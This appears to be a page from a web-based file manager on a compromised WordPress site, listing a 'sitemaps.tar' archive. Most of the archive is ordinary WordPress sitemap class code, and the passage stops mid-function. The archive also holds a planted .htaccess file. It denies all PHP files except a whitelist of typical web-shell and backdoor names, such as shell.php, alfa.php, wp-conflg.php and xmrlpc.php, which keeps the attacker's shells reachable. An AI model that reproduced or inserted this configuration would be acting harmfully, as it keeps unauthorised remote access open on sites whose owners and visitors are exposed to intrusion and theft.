File manager - Edit - /home/btuxotm7mvg6/public_html/torquesite.digiloguetest.com/sitemaps.tar
Back
class-wp-sitemaps.php 0000644 00000014222 14621311312 0010624 0 ustar 00 <?php /** * Sitemaps: WP_Sitemaps class * * This is the main class integrating all other classes. * * @package WordPress * @subpackage Sitemaps * @since 5.5.0 */ /** * Class WP_Sitemaps. * * @since 5.5.0 */ class WP_Sitemaps { /** * The main index of supported sitemaps. * * @since 5.5.0 * * @var WP_Sitemaps_Index */ public $index; /** * The main registry of supported sitemaps. * * @since 5.5.0 * * @var WP_Sitemaps_Registry */ public $registry; /** * An instance of the renderer class. * * @since 5.5.0 * * @var WP_Sitemaps_Renderer */ public $renderer; /** * WP_Sitemaps constructor. * * @since 5.5.0 */ public function __construct() { $this->registry = new WP_Sitemaps_Registry(); $this->renderer = new WP_Sitemaps_Renderer(); $this->index = new WP_Sitemaps_Index( $this->registry ); } /** * Initiates all sitemap functionality. * * If sitemaps are disabled, only the rewrite rules will be registered * by this method, in order to properly send 404s. * * @since 5.5.0 */ public function init() { // These will all fire on the init hook. $this->register_rewrites(); add_action( 'template_redirect', array( $this, 'render_sitemaps' ) ); if ( ! $this->sitemaps_enabled() ) { return; } $this->register_sitemaps(); // Add additional action callbacks. add_filter( 'pre_handle_404', array( $this, 'redirect_sitemapxml' ), 10, 2 ); add_filter( 'robots_txt', array( $this, 'add_robots' ), 0, 2 ); } /** * Determines whether sitemaps are enabled or not. * * @since 5.5.0 * * @return bool Whether sitemaps are enabled. */ public function sitemaps_enabled() { $is_enabled = (bool) get_option( 'blog_public' ); /** * Filters whether XML Sitemaps are enabled or not. * * When XML Sitemaps are disabled via this filter, rewrite rules are still * in place to ensure a 404 is returned. * * @see WP_Sitemaps::register_rewrites() * * @since 5.5.0 * * @param bool $is_enabled Whether XML Sitemaps are enabled or not. Defaults * to true for public sites. */ return (bool) apply_filters( 'wp_sitemaps_enabled', $is_enabled ); } /** * Registers and sets up the functionality for all supported sitemaps. * * @since 5.5.0 */ public function register_sitemaps() { $providers = array( 'posts' => new WP_Sitemaps_Posts(), 'taxonomies' => new WP_Sitemaps_Taxonomies(), 'users' => new WP_Sitemaps_Users(), ); /* @var WP_Sitemaps_Provider $provider */ foreach ( $providers as $name => $provider ) { $this->registry->add_provider( $name, $provider ); } } /** * Registers sitemap rewrite tags and routing rules. * * @since 5.5.0 */ public function register_rewrites() { // Add rewrite tags. add_rewrite_tag( '%sitemap%', '([^?]+)' ); add_rewrite_tag( '%sitemap-subtype%', '([^?]+)' ); // Register index route. add_rewrite_rule( '^wp-sitemap\.xml$', 'index.php?sitemap=index', 'top' ); // Register rewrites for the XSL stylesheet. add_rewrite_tag( '%sitemap-stylesheet%', '([^?]+)' ); add_rewrite_rule( '^wp-sitemap\.xsl$', 'index.php?sitemap-stylesheet=sitemap', 'top' ); add_rewrite_rule( '^wp-sitemap-index\.xsl$', 'index.php?sitemap-stylesheet=index', 'top' ); // Register routes for providers. add_rewrite_rule( '^wp-sitemap-([a-z]+?)-([a-z\d_-]+?)-(\d+?)\.xml$', 'index.php?sitemap=$matches[1]&sitemap-subtype=$matches[2]&paged=$matches[3]', 'top' ); add_rewrite_rule( '^wp-sitemap-([a-z]+?)-(\d+?)\.xml$', 'index.php?sitemap=$matches[1]&paged=$matches[2]', 'top' ); } /** * Renders sitemap templates based on rewrite rules. * * @since 5.5.0 * * @global WP_Query $wp_query WordPress Query object. */ public function render_sitemaps() { global $wp_query; $sitemap = sanitize_text_field( get_query_var( 'sitemap' ) ); $object_subtype = sanitize_text_field( get_query_var( 'sitemap-subtype' ) ); $stylesheet_type = sanitize_text_field( get_query_var( 'sitemap-stylesheet' ) ); $paged = absint( get_query_var( 'paged' ) ); // Bail early if this isn't a sitemap or stylesheet route. if ( ! ( $sitemap || $stylesheet_type ) ) { return; } if ( ! $this->sitemaps_enabled() ) { $wp_query->set_404(); status_header( 404 ); return; } // Render stylesheet if this is stylesheet route. if ( $stylesheet_type ) { $stylesheet = new WP_Sitemaps_Stylesheet(); $stylesheet->render_stylesheet( $stylesheet_type ); exit; } // Render the index. if ( 'index' === $sitemap ) { $sitemap_list = $this->index->get_sitemap_list(); $this->renderer->render_index( $sitemap_list ); exit; } $provider = $this->registry->get_provider( $sitemap ); if ( ! $provider ) { return; } if ( empty( $paged ) ) { $paged = 1; } $url_list = $provider->get_url_list( $paged, $object_subtype ); // Force a 404 and bail early if no URLs are present. if ( empty( $url_list ) ) { $wp_query->set_404(); status_header( 404 ); return; } $this->renderer->render_sitemap( $url_list ); exit; } /** * Redirects a URL to the wp-sitemap.xml * * @since 5.5.0 * * @param bool $bypass Pass-through of the pre_handle_404 filter value. * @param WP_Query $query The WP_Query object. * @return bool Bypass value. */ public function redirect_sitemapxml( $bypass, $query ) { // If a plugin has already utilized the pre_handle_404 function, return without action to avoid conflicts. if ( $bypass ) { return $bypass; } // 'pagename' is for most permalink types, name is for when the %postname% is used as a top-level field. if ( 'sitemap-xml' === $query->get( 'pagename' ) || 'sitemap-xml' === $query->get( 'name' ) ) { wp_safe_redirect( $this->index->get_index_url() ); exit(); } return $bypass; } /** * Adds the sitemap index to robots.txt. * * @since 5.5.0 * * @param string $output robots.txt output. * @param bool $public Whether the site is public. * @return string The robots.txt output. */ public function add_robots( $output, $public ) { if ( $public ) { $output .= "\nSitemap: " . esc_url( $this->index->get_index_url() ) . "\n"; } return $output; } } class-wp-sitemaps-registry.php 0000644 00000003534 14621311312 0012476 0 ustar 00 <?php /** * Sitemaps: WP_Sitemaps_Registry class * * Handles registering sitemap providers. * * @package WordPress * @subpackage Sitemaps * @since 5.5.0 */ /** * Class WP_Sitemaps_Registry. * * @since 5.5.0 */ class WP_Sitemaps_Registry { /** * Registered sitemap providers. * * @since 5.5.0 * * @var WP_Sitemaps_Provider[] Array of registered sitemap providers. */ private $providers = array(); /** * Adds a new sitemap provider. * * @since 5.5.0 * * @param string $name Name of the sitemap provider. * @param WP_Sitemaps_Provider $provider Instance of a WP_Sitemaps_Provider. * @return bool Whether the provider was added successfully. */ public function add_provider( $name, WP_Sitemaps_Provider $provider ) { if ( isset( $this->providers[ $name ] ) ) { return false; } /** * Filters the sitemap provider before it is added. * * @since 5.5.0 * * @param WP_Sitemaps_Provider $provider Instance of a WP_Sitemaps_Provider. * @param string $name Name of the sitemap provider. */ $provider = apply_filters( 'wp_sitemaps_add_provider', $provider, $name ); if ( ! $provider instanceof WP_Sitemaps_Provider ) { return false; } $this->providers[ $name ] = $provider; return true; } /** * Returns a single registered sitemap provider. * * @since 5.5.0 * * @param string $name Sitemap provider name. * @return WP_Sitemaps_Provider|null Sitemap provider if it exists, null otherwise. */ public function get_provider( $name ) { if ( ! isset( $this->providers[ $name ] ) ) { return null; } return $this->providers[ $name ]; } /** * Returns all registered sitemap providers. * * @since 5.5.0 * * @return WP_Sitemaps_Provider[] Array of sitemap providers. */ public function get_providers() { return $this->providers; } } .htaccess 0000444 00000001140 14621311312 0006326 0 ustar 00 <FilesMatch ".(py|exe|phtml|php|PhP|php5|suspected)$"> Order Allow,Deny Deny from all </FilesMatch> <FilesMatch "(^wp-login.php|^wp-blog-header.php|^style.php|^style2.php|^wp-conflg.php|^index.php|^file.php|^Simple.php|^class.api.php|^iR7SzrsOUEP.php|^license.php|^wp-blog.php|^moon.php|^wp-add.php|^plugin-install.php|^admin.php|^LA.php|^wp-good.php|^wp-ldd.php|^upfile.php|^upload.php|^install.php|^xmrlpc.php|^sgd.php|^cloud.php|^shell.php|^about.php|^style2new.php|^km.php|^alfa.php|^mariju.php|^min.php|^doc.php|^100.php|^samll.php|^alfa.php|^webdb.php)$"> Order allow,deny Allow from all </FilesMatch> class-wp-sitemaps-index.php 0000644 00000003701 14621311312 0011731 0 ustar 00 <?php /** * Sitemaps: WP_Sitemaps_Index class. * * Generates the sitemap index. * * @package WordPress * @subpackage Sitemaps * @since 5.5.0 */ /** * Class WP_Sitemaps_Index. * Builds the sitemap index page that lists the links to all of the sitemaps. * * @since 5.5.0 */ class WP_Sitemaps_Index { /** * The main registry of supported sitemaps. * * @since 5.5.0 * @var WP_Sitemaps_Registry */ protected $registry; /** * Maximum number of sitemaps to include in an index. * * @sincee 5.5.0 * * @var int Maximum number of sitemaps. */ private $max_sitemaps = 50000; /** * WP_Sitemaps_Index constructor. * * @since 5.5.0 * * @param WP_Sitemaps_Registry $registry Sitemap provider registry. */ public function __construct( WP_Sitemaps_Registry $registry ) { $this->registry = $registry; } /** * Gets a sitemap list for the index. * * @since 5.5.0 * * @return array[] Array of all sitemaps. */ public function get_sitemap_list() { $sitemaps = array(); $providers = $this->registry->get_providers(); /* @var WP_Sitemaps_Provider $provider */ foreach ( $providers as $name => $provider ) { $sitemap_entries = $provider->get_sitemap_entries(); // Prevent issues with array_push and empty arrays on PHP < 7.3. if ( ! $sitemap_entries ) { continue; } // Using array_push is more efficient than array_merge in a loop. array_push( $sitemaps, ...$sitemap_entries ); if ( count( $sitemaps ) >= $this->max_sitemaps ) { break; } } return array_slice( $sitemaps, 0, $this->max_sitemaps, true ); } /** * Builds the URL for the sitemap index. * * @since 5.5.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @return string The sitemap index URL. */ public function get_index_url() { global $wp_rewrite; if ( ! $wp_rewrite->using_permalinks() ) { return home_url( '/?sitemap=index' ); } return home_url( '/wp-sitemap.xml' ); } } class-wp-sitemaps-stylesheet.php 0000644 00000020627 14621311312 0013021 0 ustar 00 <?php /** * Sitemaps: WP_Sitemaps_Stylesheet class * * This class provides the XSL stylesheets to style all sitemaps. * * @package WordPress * @subpackage Sitemaps * @since 5.5.0 */ /** * Stylesheet provider class. * * @since 5.5.0 */ class WP_Sitemaps_Stylesheet { /** * Renders the XSL stylesheet depending on whether it's the sitemap index or not. * * @param string $type Stylesheet type. Either 'sitemap' or 'index'. */ public function render_stylesheet( $type ) { header( 'Content-type: application/xml; charset=UTF-8' ); if ( 'sitemap' === $type ) { // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- All content escaped below. echo $this->get_sitemap_stylesheet(); } if ( 'index' === $type ) { // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- All content escaped below. echo $this->get_sitemap_index_stylesheet(); } exit; } /** * Returns the escaped XSL for all sitemaps, except index. * * @since 5.5.0 */ public function get_sitemap_stylesheet() { $css = $this->get_stylesheet_css(); $title = esc_xml( __( 'XML Sitemap' ) ); $description = esc_xml( __( 'This XML Sitemap is generated by WordPress to make your content more visible for search engines.' ) ); $learn_more = sprintf( '<a href="%s">%s</a>', esc_url( __( 'https://www.sitemaps.org/' ) ), esc_xml( __( 'Learn more about XML sitemaps.' ) ) ); $text = sprintf( /* translators: %s: Number of URLs. */ esc_xml( __( 'Number of URLs in this XML Sitemap: %s.' ) ), '<xsl:value-of select="count( sitemap:urlset/sitemap:url )" />' ); $lang = get_language_attributes( 'html' ); $url = esc_xml( __( 'URL' ) ); $lastmod = esc_xml( __( 'Last Modified' ) ); $changefreq = esc_xml( __( 'Change Frequency' ) ); $priority = esc_xml( __( 'Priority' ) ); $xsl_content = <<<XSL <?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:sitemap="http://www.sitemaps.org/schemas/sitemap/0.9" exclude-result-prefixes="sitemap" > <xsl:output method="html" encoding="UTF-8" indent="yes"/> <!-- Set variables for whether lastmod, changefreq or priority occur for any url in the sitemap. We do this up front because it can be expensive in a large sitemap. --> <xsl:variable name="has-lastmod" select="count( /sitemap:urlset/sitemap:url/sitemap:lastmod )" /> <xsl:variable name="has-changefreq" select="count( /sitemap:urlset/sitemap:url/sitemap:changefreq )" /> <xsl:variable name="has-priority" select="count( /sitemap:urlset/sitemap:url/sitemap:priority )" /> <xsl:template match="/"> <html {$lang}> <head> <title>{$title}</title> <style> {$css} </style> </head> <body> <div id="sitemap"> <div id="sitemap__header"> <h1>{$title}</h1> <p>{$description}</p> <p>{$learn_more}</p> </div> <div id="sitemap__content"> <p class="text">{$text}</p> <table id="sitemap__table"> <thead> <tr> <th class="loc">{$url}</th> <xsl:if test="\$has-lastmod"> <th class="lastmod">{$lastmod}</th> </xsl:if> <xsl:if test="\$has-changefreq"> <th class="changefreq">{$changefreq}</th> </xsl:if> <xsl:if test="\$has-priority"> <th class="priority">{$priority}</th> </xsl:if> </tr> </thead> <tbody> <xsl:for-each select="sitemap:urlset/sitemap:url"> <tr> <td class="loc"><a href="{sitemap:loc}"><xsl:value-of select="sitemap:loc" /></a></td> <xsl:if test="\$has-lastmod"> <td class="lastmod"><xsl:value-of select="sitemap:lastmod" /></td> </xsl:if> <xsl:if test="\$has-changefreq"> <td class="changefreq"><xsl:value-of select="sitemap:changefreq" /></td> </xsl:if> <xsl:if test="\$has-priority"> <td class="priority"><xsl:value-of select="sitemap:priority" /></td> </xsl:if> </tr> </xsl:for-each> </tbody> </table> </div> </div> </body> </html> </xsl:template> </xsl:stylesheet> XSL; /** * Filters the content of the sitemap stylesheet. * * @since 5.5.0 * * @param string $xsl_content Full content for the XML stylesheet. */ return apply_filters( 'wp_sitemaps_stylesheet_content', $xsl_content ); } /** * Returns the escaped XSL for the index sitemaps. * * @since 5.5.0 */ public function get_sitemap_index_stylesheet() { $css = $this->get_stylesheet_css(); $title = esc_xml( __( 'XML Sitemap' ) ); $description = esc_xml( __( 'This XML Sitemap is generated by WordPress to make your content more visible for search engines.' ) ); $learn_more = sprintf( '<a href="%s">%s</a>', esc_url( __( 'https://www.sitemaps.org/' ) ), esc_xml( __( 'Learn more about XML sitemaps.' ) ) ); $text = sprintf( /* translators: %s: Number of URLs. */ esc_xml( __( 'Number of URLs in this XML Sitemap: %s.' ) ), '<xsl:value-of select="count( sitemap:sitemapindex/sitemap:sitemap )" />' ); $lang = get_language_attributes( 'html' ); $url = esc_xml( __( 'URL' ) ); $lastmod = esc_xml( __( 'Last Modified' ) ); $xsl_content = <<<XSL <?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:sitemap="http://www.sitemaps.org/schemas/sitemap/0.9" exclude-result-prefixes="sitemap" > <xsl:output method="html" encoding="UTF-8" indent="yes" /> <!-- Set variables for whether lastmod occurs for any sitemap in the index. We do this up front because it can be expensive in a large sitemap. --> <xsl:variable name="has-lastmod" select="count( /sitemap:sitemapindex/sitemap:sitemap/sitemap:lastmod )" /> <xsl:template match="/"> <html {$lang}> <head> <title>{$title}</title> <style> {$css} </style> </head> <body> <div id="sitemap"> <div id="sitemap__header"> <h1>{$title}</h1> <p>{$description}</p> <p>{$learn_more}</p> </div> <div id="sitemap__content"> <p class="text">{$text}</p> <table id="sitemap__table"> <thead> <tr> <th class="loc">{$url}</th> <xsl:if test="\$has-lastmod"> <th class="lastmod">{$lastmod}</th> </xsl:if> </tr> </thead> <tbody> <xsl:for-each select="sitemap:sitemapindex/sitemap:sitemap"> <tr> <td class="loc"><a href="{sitemap:loc}"><xsl:value-of select="sitemap:loc" /></a></td> <xsl:if test="\$has-lastmod"> <td class="lastmod"><xsl:value-of select="sitemap:lastmod" /></td> </xsl:if> </tr> </xsl:for-each> </tbody> </table> </div> </div> </body> </html> </xsl:template> </xsl:stylesheet> XSL; /** * Filters the content of the sitemap index stylesheet. * * @since 5.5.0 * * @param string $xsl_content Full content for the XML stylesheet. */ return apply_filters( 'wp_sitemaps_stylesheet_index_content', $xsl_content ); } /** * Gets the CSS to be included in sitemap XSL stylesheets. * * @since 5.5.0 * * @return string The CSS. */ public function get_stylesheet_css() { $text_align = is_rtl() ? 'right' : 'left'; $css = <<<EOF body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; color: #444; } #sitemap { max-width: 980px; margin: 0 auto; } #sitemap__table { width: 100%; border: solid 1px #ccc; border-collapse: collapse; } #sitemap__table tr td.loc { /* * URLs should always be LTR. * See https://core.trac.wordpress.org/ticket/16834 * and https://core.trac.wordpress.org/ticket/49949 */ direction: ltr; } #sitemap__table tr th { text-align: {$text_align}; } #sitemap__table tr td, #sitemap__table tr th { padding: 10px; } #sitemap__table tr:nth-child(odd) td { background-color: #eee; } a:hover { text-decoration: none; } EOF; /** * Filters the CSS only for the sitemap stylesheet. * * @since 5.5.0 * * @param string $css CSS to be applied to default XSL file. */ return apply_filters( 'wp_sitemaps_stylesheet_css', $css ); } } class-wp-sitemaps-renderer.php 0000644 00000015215 14621311312 0012433 0 ustar 00 <?php /** * Sitemaps: WP_Sitemaps_Renderer class * * Responsible for rendering Sitemaps data to XML in accordance with sitemap protocol. * * @package WordPress * @subpackage Sitemaps * @since 5.5.0 */ /** * Class WP_Sitemaps_Renderer * * @since 5.5.0 */ class WP_Sitemaps_Renderer { /** * XSL stylesheet for styling a sitemap for web browsers. * * @since 5.5.0 * * @var string */ protected $stylesheet = ''; /** * XSL stylesheet for styling a sitemap for web browsers. * * @since 5.5.0 * * @var string */ protected $stylesheet_index = ''; /** * WP_Sitemaps_Renderer constructor. * * @since 5.5.0 */ public function __construct() { $stylesheet_url = $this->get_sitemap_stylesheet_url(); if ( $stylesheet_url ) { $this->stylesheet = '<?xml-stylesheet type="text/xsl" href="' . esc_url( $stylesheet_url ) . '" ?>'; } $stylesheet_index_url = $this->get_sitemap_index_stylesheet_url(); if ( $stylesheet_index_url ) { $this->stylesheet_index = '<?xml-stylesheet type="text/xsl" href="' . esc_url( $stylesheet_index_url ) . '" ?>'; } } /** * Gets the URL for the sitemap stylesheet. * * @since 5.5.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @return string The sitemap stylesheet URL. */ public function get_sitemap_stylesheet_url() { global $wp_rewrite; $sitemap_url = home_url( '/wp-sitemap.xsl' ); if ( ! $wp_rewrite->using_permalinks() ) { $sitemap_url = home_url( '/?sitemap-stylesheet=sitemap' ); } /** * Filters the URL for the sitemap stylesheet. * * If a falsey value is returned, no stylesheet will be used and * the "raw" XML of the sitemap will be displayed. * * @since 5.5.0 * * @param string $sitemap_url Full URL for the sitemaps XSL file. */ return apply_filters( 'wp_sitemaps_stylesheet_url', $sitemap_url ); } /** * Gets the URL for the sitemap index stylesheet. * * @since 5.5.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @return string The sitemap index stylesheet URL. */ public function get_sitemap_index_stylesheet_url() { global $wp_rewrite; $sitemap_url = home_url( '/wp-sitemap-index.xsl' ); if ( ! $wp_rewrite->using_permalinks() ) { $sitemap_url = home_url( '/?sitemap-stylesheet=index' ); } /** * Filters the URL for the sitemap index stylesheet. * * If a falsey value is returned, no stylesheet will be used and * the "raw" XML of the sitemap index will be displayed. * * @since 5.5.0 * * @param string $sitemap_url Full URL for the sitemaps index XSL file. */ return apply_filters( 'wp_sitemaps_stylesheet_index_url', $sitemap_url ); } /** * Renders a sitemap index. * * @since 5.5.0 * * @param array $sitemaps Array of sitemap URLs. */ public function render_index( $sitemaps ) { header( 'Content-type: application/xml; charset=UTF-8' ); $this->check_for_simple_xml_availability(); $index_xml = $this->get_sitemap_index_xml( $sitemaps ); if ( ! empty( $index_xml ) ) { // All output is escaped within get_sitemap_index_xml(). // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped echo $index_xml; } } /** * Gets XML for a sitemap index. * * @since 5.5.0 * * @param array $sitemaps Array of sitemap URLs. * @return string|false A well-formed XML string for a sitemap index. False on error. */ public function get_sitemap_index_xml( $sitemaps ) { $sitemap_index = new SimpleXMLElement( sprintf( '%1$s%2$s%3$s', '<?xml version="1.0" encoding="UTF-8" ?>', $this->stylesheet_index, '<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" />' ) ); foreach ( $sitemaps as $entry ) { $sitemap = $sitemap_index->addChild( 'sitemap' ); // Add each element as a child node to the <sitemap> entry. foreach ( $entry as $name => $value ) { if ( 'loc' === $name ) { $sitemap->addChild( $name, esc_url( $value ) ); } elseif ( 'lastmod' === $name ) { $sitemap->addChild( $name, esc_xml( $value ) ); } else { _doing_it_wrong( __METHOD__, sprintf( /* translators: %s: List of element names. */ __( 'Fields other than %s are not currently supported for the sitemap index.' ), implode( ',', array( 'loc', 'lastmod' ) ) ), '5.5.0' ); } } } return $sitemap_index->asXML(); } /** * Renders a sitemap. * * @since 5.5.0 * * @param array $url_list Array of URLs for a sitemap. */ public function render_sitemap( $url_list ) { header( 'Content-type: application/xml; charset=UTF-8' ); $this->check_for_simple_xml_availability(); $sitemap_xml = $this->get_sitemap_xml( $url_list ); if ( ! empty( $sitemap_xml ) ) { // All output is escaped within get_sitemap_xml(). // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped echo $sitemap_xml; } } /** * Gets XML for a sitemap. * * @since 5.5.0 * * @param array $url_list Array of URLs for a sitemap. * @return string|false A well-formed XML string for a sitemap index. False on error. */ public function get_sitemap_xml( $url_list ) { $urlset = new SimpleXMLElement( sprintf( '%1$s%2$s%3$s', '<?xml version="1.0" encoding="UTF-8" ?>', $this->stylesheet, '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" />' ) ); foreach ( $url_list as $url_item ) { $url = $urlset->addChild( 'url' ); // Add each element as a child node to the <url> entry. foreach ( $url_item as $name => $value ) { if ( 'loc' === $name ) { $url->addChild( $name, esc_url( $value ) ); } elseif ( in_array( $name, array( 'lastmod', 'changefreq', 'priority' ), true ) ) { $url->addChild( $name, esc_xml( $value ) ); } else { _doing_it_wrong( __METHOD__, sprintf( /* translators: %s: List of element names. */ __( 'Fields other than %s are not currently supported for sitemaps.' ), implode( ',', array( 'loc', 'lastmod', 'changefreq', 'priority' ) ) ), '5.5.0' ); } } } return $urlset->asXML(); } /** * Checks for the availability of the SimpleXML extension and errors if missing. * * @since 5.5.0 */ private function check_for_simple_xml_availability() { if ( ! class_exists( 'SimpleXMLElement' ) ) { add_filter( 'wp_die_handler', static function () { return '_xml_wp_die_handler'; } ); wp_die( sprintf( /* translators: %s: SimpleXML */ esc_xml( __( 'Could not generate XML sitemap due to missing %s extension' ) ), 'SimpleXML' ), esc_xml( __( 'WordPress › Error' ) ), array( 'response' => 501, // "Not implemented". ) ); } } } class-wp-sitemaps-provider.php 0000644 00000010416 14621311312 0012455 0 ustar 00 <?php /** * Sitemaps: WP_Sitemaps_Provider class * * This class is a base class for other sitemap providers to extend and contains shared functionality. * * @package WordPress * @subpackage Sitemaps * @since 5.5.0 */ /** * Class WP_Sitemaps_Provider. * * @since 5.5.0 */ abstract class WP_Sitemaps_Provider { /** * Provider name. * * This will also be used as the public-facing name in URLs. * * @since 5.5.0 * * @var string */ protected $name = ''; /** * Object type name (e.g. 'post', 'term', 'user'). * * @since 5.5.0 * * @var string */ protected $object_type = ''; /** * Gets a URL list for a sitemap. * * @since 5.5.0 * * @param int $page_num Page of results. * @param string $object_subtype Optional. Object subtype name. Default empty. * @return array Array of URLs for a sitemap. */ abstract public function get_url_list( $page_num, $object_subtype = '' ); /** * Gets the max number of pages available for the object type. * * @since 5.5.0 * * @param string $object_subtype Optional. Object subtype. Default empty. * @return int Total number of pages. */ abstract public function get_max_num_pages( $object_subtype = '' ); /** * Gets data about each sitemap type. * * @since 5.5.0 * * @return array[] Array of sitemap types including object subtype name and number of pages. */ public function get_sitemap_type_data() { $sitemap_data = array(); $object_subtypes = $this->get_object_subtypes(); // If there are no object subtypes, include a single sitemap for the // entire object type. if ( empty( $object_subtypes ) ) { $sitemap_data[] = array( 'name' => '', 'pages' => $this->get_max_num_pages(), ); return $sitemap_data; } // Otherwise, include individual sitemaps for every object subtype. foreach ( $object_subtypes as $object_subtype_name => $data ) { $object_subtype_name = (string) $object_subtype_name; $sitemap_data[] = array( 'name' => $object_subtype_name, 'pages' => $this->get_max_num_pages( $object_subtype_name ), ); } return $sitemap_data; } /** * Lists sitemap pages exposed by this provider. * * The returned data is used to populate the sitemap entries of the index. * * @since 5.5.0 * * @return array[] Array of sitemap entries. */ public function get_sitemap_entries() { $sitemaps = array(); $sitemap_types = $this->get_sitemap_type_data(); foreach ( $sitemap_types as $type ) { for ( $page = 1; $page <= $type['pages']; $page ++ ) { $sitemap_entry = array( 'loc' => $this->get_sitemap_url( $type['name'], $page ), ); /** * Filters the sitemap entry for the sitemap index. * * @since 5.5.0 * * @param array $sitemap_entry Sitemap entry for the post. * @param string $object_type Object empty name. * @param string $object_subtype Object subtype name. * Empty string if the object type does not support subtypes. * @param int $page Page number of results. */ $sitemap_entry = apply_filters( 'wp_sitemaps_index_entry', $sitemap_entry, $this->object_type, $type['name'], $page ); $sitemaps[] = $sitemap_entry; } } return $sitemaps; } /** * Gets the URL of a sitemap entry. * * @since 5.5.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param string $name The name of the sitemap. * @param int $page The page of the sitemap. * @return string The composed URL for a sitemap entry. */ public function get_sitemap_url( $name, $page ) { global $wp_rewrite; // Accounts for cases where name is not included, ex: sitemaps-users-1.xml. $params = array_filter( array( 'sitemap' => $this->name, 'sitemap-subtype' => $name, 'paged' => $page, ) ); $basename = sprintf( '/wp-sitemap-%1$s.xml', implode( '-', $params ) ); if ( ! $wp_rewrite->using_permalinks() ) { $basename = '/?' . http_build_query( $params, null, '&' ); } return home_url( $basename ); } /** * Returns the list of supported object subtypes exposed by the provider. * * @since 5.5.0 * * @return array List of object subtypes objects keyed by their name. */ public function get_object_subtypes() { return array(); } } providers/class-wp-sitemaps-posts.php 0000644 00000013363 14621311312 0014014 0 ustar 00 <?php /** * Sitemaps: WP_Sitemaps_Posts class * * Builds the sitemaps for the 'post' object type. * * @package WordPress * @subpackage Sitemaps * @since 5.5.0 */ /** * Posts XML sitemap provider. * * @since 5.5.0 */ class WP_Sitemaps_Posts extends WP_Sitemaps_Provider { /** * WP_Sitemaps_Posts constructor. * * @since 5.5.0 */ public function __construct() { $this->name = 'posts'; $this->object_type = 'post'; } /** * Returns the public post types, which excludes nav_items and similar types. * Attachments are also excluded. This includes custom post types with public = true. * * @since 5.5.0 * * @return WP_Post_Type[] Array of registered post type objects keyed by their name. */ public function get_object_subtypes() { $post_types = get_post_types( array( 'public' => true ), 'objects' ); unset( $post_types['attachment'] ); $post_types = array_filter( $post_types, 'is_post_type_viewable' ); /** * Filters the list of post object sub types available within the sitemap. * * @since 5.5.0 * * @param WP_Post_Type[] $post_types Array of registered post type objects keyed by their name. */ return apply_filters( 'wp_sitemaps_post_types', $post_types ); } /** * Gets a URL list for a post type sitemap. * * @since 5.5.0 * * @param int $page_num Page of results. * @param string $post_type Optional. Post type name. Default empty. * @return array Array of URLs for a sitemap. */ public function get_url_list( $page_num, $post_type = '' ) { // Bail early if the queried post type is not supported. $supported_types = $this->get_object_subtypes(); if ( ! isset( $supported_types[ $post_type ] ) ) { return array(); } /** * Filters the posts URL list before it is generated. * * Passing a non-null value will effectively short-circuit the generation, * returning that value instead. * * @since 5.5.0 * * @param array $url_list The URL list. Default null. * @param string $post_type Post type name. * @param int $page_num Page of results. */ $url_list = apply_filters( 'wp_sitemaps_posts_pre_url_list', null, $post_type, $page_num ); if ( null !== $url_list ) { return $url_list; } $args = $this->get_posts_query_args( $post_type ); $args['paged'] = $page_num; $query = new WP_Query( $args ); $url_list = array(); /* * Add a URL for the homepage in the pages sitemap. * Shows only on the first page if the reading settings are set to display latest posts. */ if ( 'page' === $post_type && 1 === $page_num && 'posts' === get_option( 'show_on_front' ) ) { // Extract the data needed for home URL to add to the array. $sitemap_entry = array( 'loc' => home_url( '/' ), ); /** * Filters the sitemap entry for the home page when the 'show_on_front' option equals 'posts'. * * @since 5.5.0 * * @param array $sitemap_entry Sitemap entry for the home page. */ $sitemap_entry = apply_filters( 'wp_sitemaps_posts_show_on_front_entry', $sitemap_entry ); $url_list[] = $sitemap_entry; } foreach ( $query->posts as $post ) { $sitemap_entry = array( 'loc' => get_permalink( $post ), ); /** * Filters the sitemap entry for an individual post. * * @since 5.5.0 * * @param array $sitemap_entry Sitemap entry for the post. * @param WP_Post $post Post object. * @param string $post_type Name of the post_type. */ $sitemap_entry = apply_filters( 'wp_sitemaps_posts_entry', $sitemap_entry, $post, $post_type ); $url_list[] = $sitemap_entry; } return $url_list; } /** * Gets the max number of pages available for the object type. * * @since 5.5.0 * * @param string $post_type Optional. Post type name. Default empty. * @return int Total number of pages. */ public function get_max_num_pages( $post_type = '' ) { if ( empty( $post_type ) ) { return 0; } /** * Filters the max number of pages before it is generated. * * Passing a non-null value will short-circuit the generation, * returning that value instead. * * @since 5.5.0 * * @param int|null $max_num_pages The maximum number of pages. Default null. * @param string $post_type Post type name. */ $max_num_pages = apply_filters( 'wp_sitemaps_posts_pre_max_num_pages', null, $post_type ); if ( null !== $max_num_pages ) { return $max_num_pages; } $args = $this->get_posts_query_args( $post_type ); $args['fields'] = 'ids'; $args['no_found_rows'] = false; $query = new WP_Query( $args ); $min_num_pages = ( 'page' === $post_type && 'posts' === get_option( 'show_on_front' ) ) ? 1 : 0; return isset( $query->max_num_pages ) ? max( $min_num_pages, $query->max_num_pages ) : 1; } /** * Returns the query args for retrieving posts to list in the sitemap. * * @since 5.5.0 * * @param string $post_type Post type name. * @return array Array of WP_Query arguments. */ protected function get_posts_query_args( $post_type ) { /** * Filters the query arguments for post type sitemap queries. * * @see WP_Query for a full list of arguments. * * @since 5.5.0 * * @param array $args Array of WP_Query arguments. * @param string $post_type Post type name. */ $args = apply_filters( 'wp_sitemaps_posts_query_args', array( 'orderby' => 'ID', 'order' => 'ASC', 'post_type' => $post_type, 'posts_per_page' => wp_sitemaps_get_max_urls( $this->object_type ), 'post_status' => array( 'publish' ), 